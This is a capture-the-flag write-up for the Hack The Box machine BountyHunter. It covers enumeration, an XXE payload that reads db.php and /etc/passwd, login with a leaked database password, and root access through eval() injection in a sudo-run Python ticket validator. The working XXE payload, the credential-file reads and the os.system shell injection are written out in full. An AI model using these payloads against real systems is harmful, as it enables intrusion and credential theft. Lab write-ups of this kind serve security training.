BountyHunter - Easy

Introduction@BountyHunter:~$

Name

IP

10.10.11.100

Points

20

OS

Linux

Difficulty

Easy

Creator

Release Date

24 Jul 2021

Enumeration

Nmap

# Nmap 7.91 scan initiated Mon Jul 26 22:39:56 2021 as: nmap -sC -sV -oN nmap.out 10.10.11.100
Nmap scan report for 10.10.11.100
Host is up (0.37s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 26 22:41:27 2021 -- 1 IP address (1 host up) scanned in 90.89 seconds

Only 2 ports are opened, 22 for ssh and 80 for http.

Web

Web page is not CMS , it's simple bootstrap site.

Directory Scan

┌─[sheinn101@parrot]─[~/htb/bountyhunter]
└──╼ [??]$ ffuf -u http://10.10.11.100/FUZZ -w /opt/SecLists/Discovery/Web-Content/common.txt -e .php

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.100/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/common.txt
 :: Extensions       : .php 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

.hta.php                [Status: 403, Size: 277, Words: 20, Lines: 10]
.hta                    [Status: 403, Size: 277, Words: 20, Lines: 10]
.htpasswd               [Status: 403, Size: 277, Words: 20, Lines: 10]
.htpasswd.php           [Status: 403, Size: 277, Words: 20, Lines: 10]
.htaccess               [Status: 403, Size: 277, Words: 20, Lines: 10]
.htaccess.php           [Status: 403, Size: 277, Words: 20, Lines: 10]
assets                  [Status: 301, Size: 313, Words: 20, Lines: 10]
css                     [Status: 301, Size: 310, Words: 20, Lines: 10]
db.php                  [Status: 200, Size: 0, Words: 1, Lines: 1]
index.php               [Status: 200, Size: 25169, Words: 10028, Lines: 389]
index.php               [Status: 200, Size: 25169, Words: 10028, Lines: 389]
js                      [Status: 301, Size: 309, Words: 20, Lines: 10]
portal.php              [Status: 200, Size: 125, Words: 11, Lines: 6]
resources               [Status: 301, Size: 316, Words: 20, Lines: 10]
server-status           [Status: 403, Size: 277, Words: 20, Lines: 10]
:: Progress: [9372/9372] :: Job [1/1] :: 118 req/sec :: Duration: [0:01:23] :: Errors: 0 ::

db.php is just a blank page and portal.php is underdevelopment.

When we click that link, we will redirect to log_submit.php page.

Now submit some data and intercept with burp.

Data sent as base64 encode over POST request. When we decode it,we will get xml data

┌─[sheinn101@parrot]─[~/htb/bountyhunter]
└──╼ [??]$ echo -n "PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT50ZXN0dDwvdGl0bGU+CgkJPGN3ZT5lc3R0PC9jd2U+CgkJPGN2c3M+ZXN0PC9jdnNzPgoJCTxyZXdhcmQ+MzMyMzwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg==" | base64 -d
<?xml  version="1.0" encoding="ISO-8859-1"?>
                <bugreport>
                <title>testt</title>
                <cwe>test</cwe>
                <cvss>test</cvss>
                <reward>3323</reward>
                </bugreport>

So, the first thing we should try is XXE injection,

XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access.

Reference: Port Swigger

You can find XXE payload in payloadallthetings. Let try with this.

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
<foo><result>&ac;</result></foo>

Our payload:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=db.php">]>
          <bugreport>  
           <title>&xxe;</title>  
           <cwe>no</cwe>
           <reward>1337</reward>
           </bugreport>

Encode that payload and paste it in request.

Now we got Base64 encoded data. When we decode it,

<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

We got some credentials from db.php, Let's look at /etc/passwd.

/etc/password

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
---[snip]---
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin

In /etc/passwd , we found development user, let login ssh with that account.

Getting User

┌─[sheinn101@parrot]─[~/htb/bountyhunter]
└──╼ [??]$ ssh development@10.10.11.100
development@10.10.11.100's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 20 Nov 2021 04:35:49 AM UTC

  System load:  0.0               Processes:             217
  Usage of /:   24.3% of 6.83GB   Users logged in:       0
  Memory usage: 15%               IPv4 address for eth0: 10.10.11.100
  Swap usage:   0%


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Nov 20 04:03:30 2021 from 10.10.14.32
development@bountyhunter:~$ cat user.txt 
032eb5574********42d5121f9cd7
development@bountyhunter:~$

Privilege Escalation

Always try sudo first

development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
development@bountyhunter:~$

ticketValidator.py

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

This code check for a file with .md extension, so create .md file and if the condition is true that code open the file search for the next condition, when we wrote the code as given conditions in the code ,we will get a ticket file like below. we can add os.system() in the last condition to pop up a root shell.

Now our exploit .md file will look like this.

# Skytrain Inc
## Ticket to root 
__Ticket Code:__
**102+ 10 == 112 and __import__('os').system('/bin/bash') == False

Run ticketValidator.py as root and enter our file name, now we got a shell as root.

development@bountyhunter:/tmp$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
file.md
Destination: root
root@bountyhunter:/tmp# cd
root@bountyhunter:~# cat root.txt
7680b0e88e*******5b16552d0a5d
root@bountyhunter:~#

Author Account : https://app.hackthebox.com/profile/237587

Reference

https://github.com/payloadbox/xxe-injection-payload-list

https://portswigger.net/web-security/xxe

Last updated